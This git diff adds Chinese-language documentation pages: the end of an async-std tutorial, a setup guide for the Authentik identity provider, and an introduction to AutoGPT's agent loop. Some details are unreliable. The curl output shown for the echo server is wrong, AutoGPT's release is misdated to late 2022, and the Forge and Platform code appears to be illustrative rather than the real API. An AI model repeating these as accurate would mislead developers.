+**同步（sync）编程**就像只有一个服务员：他接单、跑去厨房下指令、然后一直站在厨房门口等着，菜做好了才端回来，再下一单。同一时间只能处理一件事。
+
+**异步（async）编程**就像雇了一个聪明的经理：他同时给厨房好几个炉灶下指令，然后利用等待的时间去干别的事——等 A 灶的汤好了就去端，等 B 灶的肉烤好了就去切，等 C 灶的面好了就去装盘。整体效率大幅提升。
+
+在 Rust 中，"同步变异步"最痛苦的地方是：API 完全不一样了。你用 `std::fs::read` 读文件，要用异步就得换成 `tokio::fs::read`，命名相似但模块不同，学两套 API 很累。
+
+**async-std 的解决思路很简单**：给 `std` 库套一层"异步外壳"。`std::fs::read` 变成 `async_std::fs::read`，`std::net::TcpStream` 变成 `async_std::net::TcpStream`，`std::thread` 变成 `async_std::task`。你只需要把 `std` 换成 `async_std`，其他几乎不用改。
+
+这就是它的核心理念：**你不需要学新 API，你只需要把 `use std::...` 改成 `use async_std::...`**。
+
+> ⚠️ 重要现状：async-std 项目已于 2025 年停止维护，官方推荐迁移到 [smol](https://github.com/smol-rs/smol/)。但学习 async-std 依然有价值——它的设计理念深刻影响了 Rust 标准库中异步部分的设计方向。
+
+## 二、核心概念
+
+### 2.1 Future（未来值）
+
+`Future` 是 Rust 异步编程的基础。你可以把它理解为"一个会在未来某个时刻给出结果的承诺"。
+
+```rust
+// 一个 Future 就像一个"待完成的作业"
+// 你现在拿到它，但结果还没出来
+// 等你 .await 它，它就会执行并给出结果
+```
+
+### 2.2 事件循环（Event Loop / Executor）
+
+Rust 的异步需要"运行时"来调度任务。async-std 自带一个轻量级的运行时，负责：
+
+- 管理后台线程池
+- 调度 async 任务的执行
+- 处理 I/O 事件（网络、文件等）
+
+你不需要像 Tokio 那样手动配置运行时，async-std 开箱即用。
+
+### 2.3 Task（轻量级任务）
+
+async-std 用 `task` 代替了 `std::thread`。任务比线程更轻量——线程是操作系统级别的（几 MB 栈空间），任务是用户态级别的（几 KB），可以并发运行数百万个。
+
+### 2.4 关键模块一览
+
+| async_std 模块 | std 对应 | 作用 |
+|---|---|---|
+| `task` | — | 任务调度、sleep、block_on |
+| `fs` | `std::fs` | 异步文件操作 |
+| `net` | `std::net` | TCP/UDP 网络通信 |
+| `io` | `std::io` | 异步 I/O 工具 |
+| `channel` | `std::sync::mpsc` | 异步消息通道 |
+| `sync` | `std::sync` | 异步同步原语（Mutex、Arc 等） |
+| `future` | `std::future` | Future 组合子 |
+| `stream` | — | 异步流迭代 |
+
+## 三、代码示例
+
+### 示例 1：基础 Hello World
+
+这是最简单的异步程序。关键是 `#[async_std::main]` 属性宏，它会自动帮你启动运行时。
+
+```rust
+// Cargo.toml 中添加：
+// [dependencies]
+// async-std = { version = "1", features = ["attributes"] }
+
+use async_std::task;
+
+async fn say_hello(name: &str) {
+    println!("Hello, {}!", name);
+}
+
+// 用属性宏替代手动 block_on，main 函数可以直接是 async 的
+#[async_std::main]
+async fn main() {
+    say_hello("async-std").await;
+
+    // 还可以用 block_on 手动运行 async 函数
+    task::block_on(async {
+        say_hello("block_on").await;
+    });
+}
+```
+
+**没有属性宏时的写法**（不推荐，但值得了解）：
+
+```rust
+use async_std::task;
+
+async fn say_hello() {
+    println!("Hello, world!");
+}
+
+fn main() {
+    // 没有 #[async_std::main]，就要手动 block_on
+    task::block_on(say_hello());
+}
+```
+
+### 示例 2：并发读取多个文件
+
+这个例子展示 async-std 的 `join` 组合子——让多个异步任务并发执行。
+
+```rust
+use async_std::fs;
+use async_std::prelude::*; // 提供 join() 方法
+
+#[async_std::main]
+async fn main() -> std::io::Result<()> {
+    // 假设你有三个文件需要同时读取
+    let file_a = fs::read_to_string("a.txt");
+    let file_b = fs::read_to_string("b.txt");
+    let file_c = fs::read_to_string("c.txt");
+
+    // join() 让三个读取操作并发执行
+    // 如果三个文件各需要 1 秒，总耗时约 1 秒而不是 3 秒
+    let (result_a, result_b, result_c) =
+        file_a.join(file_b).join(file_c).await?;
+
+    println!("a.txt: {}", result_a);
+    println!("b.txt: {}", result_b);
+    println!("c.txt: {}", result_c);
+
+    Ok(())
+}
+```
+
+**对比同步写法**（串行读取）：
+
+```rust
+// std 的写法——一个一个读，浪费时间
+let a = fs::read_to_string("a.txt")?;
+let b = fs::read_to_string("b.txt")?;
+let c = fs::read_to_string("c.txt")?;
+// 总耗时 = 三个文件读取时间之和
+```
+
+### 示例 3：异步 TCP 回显服务器
+
+展示网络 I/O 的 async 写法，体会 `await` 在等待网络响应时不阻塞的特性。
+
+```rust
+use async_std::net::{TcpListener, TcpStream};
+use async_std::prelude::*;
+use async_std::io::{BufReader, BufWriter, ReadExt, WriteExt};
+
+#[async_std::main]
+async fn main() -> std::io::Result<()> {
+    let listener = TcpListener::bind("127.0.0.1:8080").await?;
+    println!("回显服务器启动，监听 127.0.0.1:8080");
+
+    loop {
+        // accept() 是异步的——没有连接时不会阻塞
+        let (stream, addr) = listener.accept().await?;
+        println!("新连接: {}", addr);
+
+        // spawn 创建一个轻量级任务来独立处理每个连接
+        // 主循环可以继续 accept 下一个连接，互不干扰
+        async_std::task::spawn(async move {
+            handle_client(stream).await;
+        });
+    }
+}
+
+async fn handle_client(stream: TcpStream) {
+    let mut reader = BufReader::new(&stream);
+    let mut writer = BufWriter::new(&stream);
+
+    let mut buffer = [0u8; 1024];
+    loop {
+        match reader.read(&mut buffer).await {
+            Ok(0) => break, // 客户端断开连接
+            Ok(n) => {
+                // 把收到的数据原样发回去（回显）
+                writer.write_all(&buffer[..n]).await.unwrap();
+                writer.flush().await.unwrap();
+            }
+            Err(_) => break,
+        }
+    }
+}
+```
+
+用 curl 测试：
+
+```bash
+$ curl -X POST http://127.0.0.1:8080 -d "hello async-std"
+hello async-std
+```
+
+### 示例 4：超时控制
+
+异步场景下的超时，比同步的 `select` 优雅得多。
+
+```rust
+use async_std::future::timeout;
+use async_std::task;
+use std::time::Duration;
+
+#[async_std::main]
+async fn main() {
+    // 模拟一个可能很慢的网络请求
+    let slow_request = async {
+        task::sleep(Duration::from_secs(5)).await;
+        "数据终于拿到了"
+    };
+
+    // 给它设定 2 秒超时
+    match timeout(Duration::from_secs(2), slow_request).await {
+        Ok(result) => println!("成功: {}", result),
+        Err(_) => println!("超时了！2 秒内没拿到数据"),
+    }
+}
+// 输出: 超时了！2 秒内没拿到数据
+```
+
+## 四、async-std 与其他异步运行时对比
+
+| 特性 | async-std | Tokio | async-io | smol |
+|---|---|---|---|---|
+| API 风格 | std 镜像 | 全新 API | 精简 I/O | 极简运行时 |
+| 学习曲线 | 最低 | 较高 | 低 | 最低 |
+| 性能 | 良好 | 极佳 | 良好 | 良好 |
+| 生态 | 较小 | 最大 | 小 | 小 |
+| 维护状态 | 已停更 | 活跃 | 活跃 | 活跃 |
+
+**一句话总结**：如果你想要"最接近 std"的异步体验，async-std 是教科书；但做实际项目，Tokio 是工业首选，smol 是轻量替代。
+
+## 五、关键收获
+
+1. async-std = `std` 的异步版本，API 几乎一一对应，降低学习门槛
+2. `#[async_std::main]` 自动启动运行时，无需手动 `block_on`
+3. `task::spawn` 创建轻量级协程，比线程节省大量资源
+4. `join()` 组合子让多个 Future 并发执行
+5. `timeout()` 优雅地处理异步操作的超时
+6. async-std 虽已停更，但其设计理念（std 镜像）证明了"异步也可以很简单"，这个思路被 Rust 标准库吸收，也影响了 smol 等项目
+
+## 六、延伸思考
+
+如果 async-std 的目标是证明"异步 API 可以和同步 API 一样直观"，那它的使命已经完成了——Rust 标准库中的 `std::future`、`async`/`await` 语法、以及 `std::task` 模块都体现了这种设计哲学。
+
+async-std 像一座桥梁：它让同步 Rust 开发者看到，异步并不一定意味着复杂的宏、笨重的运行时和不熟悉的 API。这座桥虽然拆了，但它走过的路为后来者铺平了。
diff --git a/src/content/docs/projects/authentik.md b/src/content/docs/projects/authentik.md
new file mode 100644
index 000000000..dbbd23e96
--- /dev/null
+++ b/src/content/docs/projects/authentik.md
@@ -0,0 +1,276 @@
+---
+title: Authentik — 自托管开源 IdP，把 SSO/OAuth/SAML 做成可编排的登录中枢
+来源: https://github.com/goauthentik/authentik
+日期: 2026-06-13
+子分类: security
+分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Authentik（常写作 **authentik**）是一个**开源、可自托管的身份提供商（Identity Provider, IdP）**，专门做现代单点登录（SSO）。日常类比：
+
+> 公司里有一二十个系统：GitLab、Grafana、内部 Wiki、VPN 门户……每个都要账号密码，员工离职还要逐个删。
+> 你可以想象 Authentik 是**大楼前台**：员工只在前台刷一次工牌（登录一次），前台根据权限发不同楼层的临时通行证（OAuth token / SAML assertion），各楼层门禁只认这张证，不再各自维护一份员工名册。
+
+和「在应用里手写登录页」不同，Authentik 站在**应用外侧**：应用变成 OAuth Client 或 SAML Service Provider，把「谁已登录、属于哪个组」这件事交给 IdP 裁决。GitHub 上 stars 超过 2 万，常被拿来与 Keycloak、Okta、Auth0、Entra ID 对比——区别是 Authentik 强调**自托管 + 可视化 Flow 编排 + Blueprint 基础设施即代码**。
+
+## 为什么重要
+
+如果你在做 homelab、中小企业内网、或需要合规自管身份数据，不理解 Authentik 会卡在这些问题上：
+
+- **为什么 Grafana / Nextcloud / GitLab 可以「Sign in with XXX」**：背后是 OIDC Authorization Code Flow，IdP 发 `id_token` + `access_token`，应用只验证签名和 audience
+- **为什么企业采购 Okta 很贵，homelab 却用 Authentik**：同一套协议（SAML 2.0、OAuth2/OIDC、LDAP、RADIUS、SCIM），Authentik 社区版 MIT 开源，数据留在自己 Postgres 里
+- **为什么改 MFA、密码策略、社交登录不用改业务代码**：Authentik 把登录 UI 和策略抽成 **Flow + Stage + Policy**，在管理后台拖拽或 YAML Blueprint 声明
+- **为什么反向代理后面的老应用也能 SSO**：**Proxy Provider + Outpost** 在应用前面做认证网关，应用本身甚至不知道 OAuth 存在
+
+## 核心要点
+
+Authentik 的世界观可以拆成 **六块积木**：
+
+### 1. Application（应用）与 Provider（协议适配器）
+
+每个要接入 SSO 的系统在 Authentik 里先建 **Application**（给人看的名字、图标、启动 URL），再绑一个 **Provider**（真正跑协议的实体）：
+
+| Provider 类型 | 典型场景 |
+|---------------|----------|
+| OAuth2 / OpenID Connect | Grafana、Next.js、现代 SaaS |
+| SAML | 传统企业软件、部分云厂商控制台 |
+| LDAP | 需要目录协议的老系统、NAS |
+| Proxy | 没有原生 SSO、只有 HTTP Basic 的遗留应用 |
+| RADIUS | Wi‑Fi / VPN 拨号 |
+
+官方推荐用 **Create with provider** 一次性创建应用 + 提供商，避免 Client ID / Redirect URI 配错一半。
+
+### 2. Flow（流程）与 Stage（阶段）
+
+登录、注册、找回密码、MFA 都不是硬编码页面，而是 **Flow** 串联多个 **Stage**：
+
+- `Identification Stage`：收集用户名/邮箱
+- `Password Stage`：验密码
+- `Authenticator Validate Stage`：TOTP / WebAuthn
+- `User Login Stage`：写 session、发 cookie
+
+类比：**Flow 是剧本，Stage 是场景**；改 MFA 策略 = 在剧本里插入一个场景，不用 fork 整个登录代码。
+
+### 3. Policy（策略）与 Group（组）
+
+Policy 决定「谁能过这个 Stage / 谁能访问这个 Application」——可按组、属性、时间、表达式绑定。Group 映射到下游应用的 **角色**（例如 Grafana Admin / Editor）。
+
+### 4. Source（身份来源）——双向联邦
+
+- **作为 IdP**：你的应用信任 Authentik 签发的 token（最常见）
+- **作为 SP（SAML Source）**：用户从公司现有 IdP（如 Azure AD）登录，Authentik 再给内部应用发 session——适合渐进迁移
+
+### 5. Outpost（前哨）
+
+Proxy / LDAP 等 Provider 的逻辑跑在 **Outpost** 容器里（靠近应用或反向代理），通过 WebSocket 从 Core 拉配置。好处：低延迟、可进隔离网段、Core 不必暴露给所有子网。
+
+### 6. Blueprint（配置即代码）
+
+Blueprints 是 YAML 文件，描述 Flow、Provider、Application 等对象；可挂载到 worker 的 `/blueprints` 目录，约每 60 分钟自动 reconcile，也可从 OCI 仓库 `oci://ghcr.io/...` 拉取——适合 GitOps / Terraform 旁路管理。
+
+## 实践案例
+
+### 案例 1：Docker Compose 最小安装
+
+官方推荐测试与小规模生产用 Compose（至少 2 CPU / 2 GB RAM）：
+
+```bash
+# 下载官方 compose 模板
+wget https://docs.goauthentik.io/compose.yml
+
+# 生成数据库密码与实例密钥（写入 .env）
+echo "PG_PASS=$(openssl rand -base64 36 | tr -d '\n')" >> .env
+echo "AUTHENTIK_SECRET_KEY=$(openssl rand -base64 60 | tr -d '\n')" >> .env
+
+# 可选：改对外端口
+echo "COMPOSE_PORT_HTTP=9000" >> .env
+echo "COMPOSE_PORT_HTTPS=9443" >> .env
+
+docker compose pull
+docker compose up -d
+```
+
+**逐行说明**：
+
+- `server` 容器跑 Web UI + API（默认 9000/9443）；`worker` 跑异步任务、Blueprint、Outpost 编排
+- `PG_PASS` 喂给内嵌 PostgreSQL；`AUTHENTIK_SECRET_KEY` 用于加密 session、签名 cookie——**丢了就要按文档轮换，旧 session 全失效**
+- 默认 worker 挂载 `/var/run/docker.sock` 以便自动起 Outpost；生产环境可改用 Docker Socket Proxy 或手动部署 Outpost 降低风险
+- 容器内时间请保持 **UTC**，不要挂宿主 `/etc/timezone`，否则 OAuth/SAML 的 `exp` 校验会莫名其妙失败
+
+首次访问 `https://<host>:9443/if/flow/initial-setup/` 创建管理员，然后在 **Applications → Create with provider** 向导里接入第一个应用。
+
+### 案例 2：Grafana 走 OIDC（应用侧配置）
+
+在 Authentik 里创建 **OAuth2/OpenID Provider**，记下 Client ID、Client Secret、Application slug。Grafana `docker-compose` 环境变量示例（来自官方文档）：
+
+```yaml
+environment:
+  GF_AUTH_GENERIC_OAUTH_ENABLED: "true"
+  GF_AUTH_GENERIC_OAUTH_NAME: "authentik"
+  GF_AUTH_GENERIC_OAUTH_CLIENT_ID: "<Client ID from authentik>"
+  GF_AUTH_GENERIC_OAUTH_CLIENT_SECRET: "<Client Secret from authentik>"
+  GF_AUTH_GENERIC_OAUTH_SCOPES: "openid profile email"
+  GF_AUTH_GENERIC_OAUTH_AUTH_URL: "https://authentik.company/application/o/authorize/"
+  GF_AUTH_GENERIC_OAUTH_TOKEN_URL: "https://authentik.company/application/o/token/"
+  GF_AUTH_GENERIC_OAUTH_API_URL: "https://authentik.company/application/o/userinfo/"
+  GF_AUTH_SIGNOUT_REDIRECT_URL: "https://authentik.company/application/o/<slug>/end-session/"
+  GF_AUTH_OAUTH_AUTO_LOGIN: "true"
+  GF_AUTH_GENERIC_OAUTH_ROLE_ATTRIBUTE_PATH: "contains(groups[*], 'Grafana Admins') && 'Admin' || contains(groups[*], 'Grafana Editors') && 'Editor' || 'Viewer'"
+  GF_SERVER_ROOT_URL: "https://grafana.company"
+```
+
+**关键点**：
+
+- Authentik 里必须把 Redirect URI 设成 **Strict** 模式下的 `https://grafana.company/login/generic_oauth`，多一个斜杠都会 `redirect_uri_mismatch`
+- `ROLE_ATTRIBUTE_PATH` 用 OIDC userinfo 里的 `groups` 声明映射 Grafana 角色——组名要在 Authentik 里先建好并绑定用户
+- 登出要走 `end-session` URL，否则只清了 Grafana session、IdP 仍登录，点「用 Authentik 登录」会静默成功（有时这是期望，有时是安全隐患）
+
+### 案例 3：用 Blueprint 声明一个 OIDC 应用（基础设施即代码）
+
+把下面 YAML 放到 worker 可读的 `/blueprints/my-grafana.yaml`，或通过 Admin → Blueprints → Create instance 导入：
+
+```yaml
+# yaml-language-server: $schema=https://goauthentik.io/blueprints/schema.json
+version: 1
+metadata:
+  name: grafana-oidc
+  labels:
+    blueprints.goauthentik.io/instantiate: "true"
+entries:
+  - model: authentik_providers_oauth2.oauth2provider
+    id: grafana-provider
+    attrs:
+      name: Grafana OIDC
+      client_type: confidential
+      redirect_uris:
+        - matching_mode: strict
+          url: https://grafana.company/login/generic_oauth
+      signing_key: !Find [authentik_crypto.certificatekeypair, [], ["name", "authentik Self-signed Certificate"]]
+  - model: authentik_core.application
+    id: grafana-app
+    attrs:
+      name: Grafana
+      slug: grafana
+      provider: !KeyOf grafana-provider
+      meta_launch_url: https://grafana.company
+      meta_icon: https://grafana.com/static/assets/img/grafana_icon.svg
+```
+
+**说明**：
+
+- `!Find` / `!KeyOf` 是 Authentik Blueprint 的自定义 YAML 标签，用来引用已有对象或同文件内条目
+- `labels` 里 `instantiate: "true"` 表示 worker 自动实例化；改文件后约 60 分钟内 reconcile
+- 生产环境应把 Client Secret 交给 Sealed Secret / 外部 vault，Blueprint 只引用，不要明文进 Git
+
+### 案例 4：用 API 列出用户（自动化运维）
+
+每个实例自带 OpenAPI 3 浏览器：`https://authentik.company/api/v3/`。用 **API Token**（Admin → Directory → Tokens）调用：
+
+```bash
+export AUTHENTIK_URL="https://authentik.company"
+export AUTHENTIK_TOKEN="your-api-token"
+
+curl -s -H "Authorization: Bearer ${AUTHENTIK_TOKEN}" \
+  "${AUTHENTIK_URL}/api/v3/core/users/?page_size=5" | jq '.results[] | {username, name, email, is_active}'
+```
+
+适合写离职脚本：先 `is_active=false`，再吊销各应用 refresh token，比手工点 UI 可审计。
+
+## OIDC 登录时序（脑内模型）
+
+```text
+用户浏览器          Grafana (RP)              Authentik (IdP)
+    |                    |                          |
+    |-- 访问 / ---------->|                          |
+    |<-- 302 /login -----|                          |
+    |-- 点 OAuth 登录 --->|                          |
+    |<-- 302 authorize --|------------------------->|
+    |<-- 登录 Flow UI ------------------------------|
+    |-- 提交凭据 ---------------------------------->|
+    |<-- 302 redirect?code=xxx ----------------------|
+    |------------------ code ----------------------->|
+    |                    |--- POST /token --------->|
+    |                    |<-- access_token + id_token
+    |<-- Set-Cookie -----|                          |
+```
+
+记住三个 URL：`/authorize/`（用户.redirect）、`/token/`（后端换票）、`/userinfo/`（拿 groups/email）。
+
+## 踩过的坑
+
+1. **Redirect URI 大小写与尾斜杠**：OIDC Strict 模式下 `https://app/callback` 和 `https://app/callback/` 是两个 URI；从应用文档复制时最容易踩坑。
+
+2. **时钟漂移**：容器时区乱改会导致 `iat`/`exp` 校验失败，表现是「登录成功立刻掉线」。保持 UTC，用 NTP 同步宿主。
+
+3. **忘记 Outpost**：Proxy Provider 建了却没人访问，因为 Outpost 没部署或没绑 Application；看 **Applications → Outposts** 健康状态。
+
+4. **Blueprint 与 UI 双写冲突**：同一对象既在 UI 手改又在 Blueprint 声明，reconcile 会以 Blueprint 为准覆盖——团队要约定「谁是 source of truth」。
+
+5. **PostgreSQL 密码长度**：官方文档提醒 PG 密码不要超过 99 字符，否则 PostgreSQL 自身限制会装不上。
+
+6. **把 Authentik 当应用数据库**：它是 IdP，不是用户业务数据的 ORM；应用仍应维护自己的 `user_id` 映射表（用 `sub` 或 email 做外键）。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 自托管 homelab / 中小企业，要统一登录 Grafana、GitLab、Vaultwarden、Nextcloud 等
+- 需要 SAML + OIDC + LDAP 多种协议混搭，不想为每个协议单独部署组件
+- 想用可视化 Flow 快速上 MFA、社交登录，同时保留 Blueprint/GitOps
+- 空气隔离网、离线环境——Outpost 可在内网独立运行
+
+**不适用**：
+
+- 只有单个 Next.js 应用、用户量 < 1k——直接 [[better-auth]] 或 [[auth-js]] 嵌在应用里更轻
+- 团队零运维意愿、宁可按月付费——Clerk / Auth0 / WorkOS 省心力
+- 已深度绑定 Keycloak 生态且团队熟悉——迁移成本要单独评估
+- 需要全球多区域主动高可用 SLA——自建 IdP 的运维责任在你
+
+## 与 Keycloak / 云 IdP 的粗略对比
+
+| 维度 | Authentik | Keycloak | Auth0 / Okta |
+|------|-----------|----------|----------------|
+| 许可 | MIT（社区版） | Apache 2.0 | 商业订阅 |
+| 上手曲线 | Flow UI 友好 | 概念多、配置繁 | 托管省心 |
+| 协议 | OIDC/SAML/LDAP/RADIUS/SCIM | 同类齐全 | 同类 + 生态集成 |
+| 配置即代码 | Blueprint YAML | Realm export JSON | Terraform 提供商 |
+| 资源占用 | 中等（PG+Redis） | 偏重（JVM） | 无自管 |
+
+## 历史小故事（可跳过）
+
+- **2019 年底**：项目以 `goauthentik/authentik` 开源，定位「安全优先、协议灵活的 IdP」
+- **2021–2023**：Blueprint、Outpost、Proxy Provider 逐渐成熟，homelab 社区快速扩散
+- **2024–2026**：GitHub stars 突破 2 万，企业版对标 Okta/Entra 迁移场景；版本号改为日历式（如 `2025.2.x`）
+
+## 学到什么
+
+1. **SSO 的核心是信任链**：IdP 私钥签名 → RP 公钥验证 → `sub`/`groups` 映射本地权限；应用不应再信任自报的 `role` 字段
+2. **Flow 抽象把「登录 UX」从业务代码里剥离**：改 MFA 是改配置，不是发版
+3. **Outpost 是「边缘执行、中心治理」模式**：和 Istio sidecar、Cloudflare Workers 的思路同构——策略在控制面，执行在数据面
+4. **Blueprint 让 IdP 配置可版本化**：终于能把「谁有 Grafana Admin」写进 PR review
+
+## 延伸阅读
+
+- 官方文档：[docs.goauthentik.io](https://docs.goauthentik.io/)（First steps、Provider、Flow、Outpost）
+- 仓库：[goauthentik/authentik](https://github.com/goauthentik/authentik)
+- API：[API Overview](https://docs.goauthentik.io/developer-docs/api/)
+- Blueprints：[Blueprints](https://docs.goauthentik.io/customize/blueprints/)
+
+## 关联
+
+- [[better-auth]] —— 应用内嵌认证框架；Authentik 是组织级外置 IdP，二者可并存（应用仍用 better-auth，社交登录接 Authentik OIDC）
+- [[auth-js]] —— 若只需单应用 OAuth Client，Auth.js 够用；多应用统一身份才需要 Authentik
+- [[nginx]] —— 常与 Proxy Outpost 配合，在反向代理层做 `auth_request` 式 SSO
+- [[kubernetes]] —— 生产推荐 Helm 部署 Authentik 与 Outpost
+- [[postgresql]] —— Authentik 默认依赖 PostgreSQL 存配置与用户
+- [[redis]] —— 缓存与任务队列，Compose 安装标配
+- [[oauth2-rfc6749]] —— 理解 Authorization Code Flow 的 RFC 基础
+- [[tls-1-3-rfc8446]] —— 生产环境 HTTPS 与证书轮换
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/projects/auto-gpt.md b/src/content/docs/projects/auto-gpt.md
new file mode 100644
index 000000000..a469c05c5
--- /dev/null
+++ b/src/content/docs/projects/auto-gpt.md
@@ -0,0 +1,219 @@
+---
+title: AutoGPT — 自主 Agent 先驱
+来源: https://github.com/Significant-Gravitas/AutoGPT
+日期: 2026-06-13
+子分类: ai-agent-infra
+分类: 机器学习
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**AutoGPT** 是最早让大语言模型"自己决定下一步做什么"的开源项目之一。它的核心想法很简单：把 LLM 的输出喂回去，让它看着自己的行为结果继续决定下一步。这样反复循环，就能一步步朝目标前进。
+
+日常类比：
+
+- 传统程序像**工厂流水线**——每一步都写死了，A 做完交给 B，B 做完交给 C。改流程就得重新设计整条线。
+- AutoGPT 像一个**实习生**——你告诉他"帮我做一份市场调研报告"，他不问细节，自己上网搜、整理数据、写草稿、发现问题再回头查。每次做完一步，他看一眼结果，决定下一步干什么。
+- 区别在于：实习生的"大脑"是 GPT-4（或类似模型），他能读网页、写文件、调 API，但偶尔会跑题、会忘事、会陷入死循环。
+
+2022 年底发布，至今 70k+ star。当前分为两条线：
+
+- **AutoGPT Classic**（`classic/` 目录）：最早的单体 Agent，MIT 协议。已停止安全更新，但仍是学习 Agent 架构的最佳教材
+- **AutoGPT Platform**（`autogpt_platform/` 目录）：新版平台，支持低代码拖拽搭建 Agent、部署为持续运行的服务，Polyform Shield 协议
+
+## 为什么重要
+
+AutoGPT 在 AI 历史上扮演了"第一个让人看到 Agent 可能性的角色"：
+
+- **证明了"循环决策"可行**：2022 年之前，大家知道 GPT-4 聪明，但没人系统性地展示过一个程序能让 LLM 自主规划、执行、反思、再规划。AutoGPT 的 README 原文："let an LLM decide what to do over and over, while feeding the results of its actions back into the prompt"——一句话概括了后来几乎所有 Agent 框架的核心思想
+- **催生了整个 Agent 工具生态**：Forge（Agent 脚手架）、agbenchmark（Agent 评测基准）、Agent Protocol（跨 Agent 通信标准）都是从 AutoGPT 孵化出来的
+- **推动了 Agent Protocol 标准化**：AutoGPT 采用 AI Engineer Foundation 的 Agent Protocol，让不同 Agent 能共用前端和评测工具，类似"USB 接口"的作用
+
+## 核心概念
+
+### 1. 思维链循环（Thought-Action-Observation Loop）
+
+这是 AutoGPT Classic 最核心的架构。Agent 每一轮做三件事：
+
+1. **Thought（思考）**：问 LLM"我现在的情况是什么？下一步该干嘛？"
+2. **Action（行动）**：执行一个具体操作，比如搜索网页、读写文件、调用 API
+3. **Observation（观察）**：把行动的结果拿回来，拼进下一轮的 prompt，让 LLM 看到效果
+
+这个过程不断循环，直到 LLM 判断目标已完成。
+
+```
+┌──────────┐    prompt    ┌──────────────┐   行动结果   ┌──────────┐
+│ Thought   │ ──────────► │  Action      │ ───────────► │ Observation│
+│ (LLM 决定)│ ◄────────── │ (执行操作)    │              │ (结果反馈) │
+└──────────┘   下一轮     └──────────────┘              └──────────┘
+```
+
+### 2. 记忆系统（Memory）
+
+Agent 会忘事——这是 LLM 的固有特性。AutoGPT 用两种记忆弥补：
+
+- **短期记忆（Short-term）**：当前 prompt 里装着最近几轮的 thought-action-observation 历史，上下文窗口有限，旧信息会被挤出
+- **长期记忆（Long-term）**：用向量数据库（如 ChromaDB）把关键信息存成 embedding，需要时检索召回
+
+### 3. 组件化架构（Forge）
+
+AutoGPT Classic 的 Forge 把 Agent 拆成**组件（Components）**，每个组件负责一块能力：
+
+- `Command`：Agent 能做的具体动作（搜索、读文件、发消息）
+- `Plugin`：外部能力的插件（接入某个 API）
+- `Critic`：反思组件，检查上一步做得对不对
+
+自定义 Agent 时，你不需要从零写，而是像搭乐高一样组合组件。
+
+## 代码示例
+
+### 示例 1：Classic AutoGPT 的决策循环（简化版）
+
+这是 AutoGPT Classic 中 `agent.py` 里 `_carry_out_task` 方法的简化示意：
+
+```python
+class Agent:
+    def _carry_out_task(self, goal: str):
+        """持续循环：思考 -> 行动 -> 观察，直到目标完成"""
+        while True:
+            # 1. 思考：把当前目标和历史消息喂给 LLM，让它决定下一步
+            response = self.llm.ask(
+                messages=self.message_history,
+                prompt=f"Goal: {goal}. What should I do next?"
+            )
+
+            # 2. LLM 返回一个动作，比如 {"action": "google", "args": "AI agent survey 2024"}
+            action = self._parse_response(response)
+
+            # 3. 如果 LLM 说"任务完成"，退出循环
+            if action["action"] == "finish":
+                break
+
+            # 4. 执行动作，拿到结果
+            result = self._execute(action)
+
+            # 5. 把结果记入历史，下一轮继续
+            self.message_history.append({"role": "observation", "content": result})
+```
+
+关键点：**while True 里没有硬编码逻辑**。每一步做什么，完全由 LLM 决定。你给的是"目标"，不是"步骤"。
+
+### 示例 2：用 Forge 搭建一个自定义 Agent
+
+这是 Forge 的推荐写法——继承 `Agent` 基类，加入自己的组件：
+
+```python
+from forge.agent import Agent
+from forge.components import CodeExecutor, WebSearch
+from pydantic import BaseModel
+
+# 定义你的组件输入输出
+class QuoteResult(BaseModel):
+    quote: str
+    source: str
+
+# 自定义组件：从视频里提取金句
+class VideoQuoteExtractor:
+    def extract(self, video_url: str) -> QuoteResult:
+        # 这里可以调 YouTube API 获取字幕，再用 LLM 提取金句
+        ...
+
+# 组装你的 Agent
+class VideoAgent(Agent):
+    def __init__(self, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        # 加入默认组件（搜索、代码执行）
+        self.web_search = WebSearch()
+        self.code_executor = CodeExecutor()
+        # 加入自定义组件
+        self.quote_extractor = VideoQuoteExtractor()
+
+    def propose_action(self):
+        # 覆写决策逻辑：加入视频金句提取的选项
+        return super().propose_action()
+```
+
+Forge 的精髓：**你只需要写 `VideoQuoteExtractor` 那一小块**，其余的连接、循环、prompt 管理全部由 `Agent` 基类搞定。
+
+### 示例 3：新版平台的 Block 开发（Python）
+
+AutoGPT Platform 用"积木"（Block）来构建 Agent 工作流。添加一个新 Block 只需：
+
+```python
+from backend.sdk.block import Block
+from pydantic import BaseModel
+
+class RedditTopicInput(BaseModel):
+    subreddit: str
+    keyword: str
+
+class VideoOutput(BaseModel):
+    video_url: str
+    transcript: str
+
+class TrendingVideoBlock(Block):
+    input_schema = RedditTopicInput
+    output_schema = VideoOutput
+
+    def run(self, input_data: RedditTopicInput) -> VideoOutput:
+        # 1. 去 Reddit 抓热门帖子
+        posts = self.fetch_reddit_posts(input_data.subreddit, input_data.keyword)
+        # 2. 挑出热度最高的
+        top_post = max(posts, key=lambda p: p.upvotes)
+        # 3. 根据内容生成短视频（调外部视频 API）
+        video_url = self.generate_video(top_post.title, top_post.selftext)
+        # 4. 返回结果
+        return VideoOutput(video_url=video_url, transcript=top_post.selftext)
+```
+
+在平台上，你把这个 Block 和其他 Block（Reddit 读取、视频生成、社交发布）连起来，就是一个完整的"从 Reddit 热点自动生成病毒视频"的 Agent。
+
+## 踩过的坑
+
+1. **无限循环**：LLM 有时会陷入"做了一步 -> 不满意 -> 做另一步 -> 还是不满意"的死循环。Classic 版本靠设置最大步数兜底，新版平台加了"反思组件"来提前检测
+2. **上下文爆炸**：每一轮都把结果拼回 prompt，跑久了 prompt 超长、token 费用飙升。解决方案是定期摘要（summarize）历史，只保留关键信息
+3. **API 密钥泄露**：早期版本把 OpenAI key 直接写在配置文件里，社区出了好几起泄露事件。新版平台改用加密存储 + 环境变量
+4. **Classic 已停止维护**：官方明确说明 Classic 不再更新依赖、不修安全问题。学习架构可以看，生产环境请用 Platform 或其他框架
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 学习 Agent 架构和"循环决策"范式
+- 快速原型验证：用 Forge 搭一个 Demo 看可行性
+- 自动化重复性信息处理任务（调研、整理、摘要）
+
+**不适用**：
+
+- 生产环境的高可靠自动化（LLM 不可控，偶尔会犯错）
+- 需要精确步骤控制的任务（Agent 适合"给目标"，不适合"给流程"）
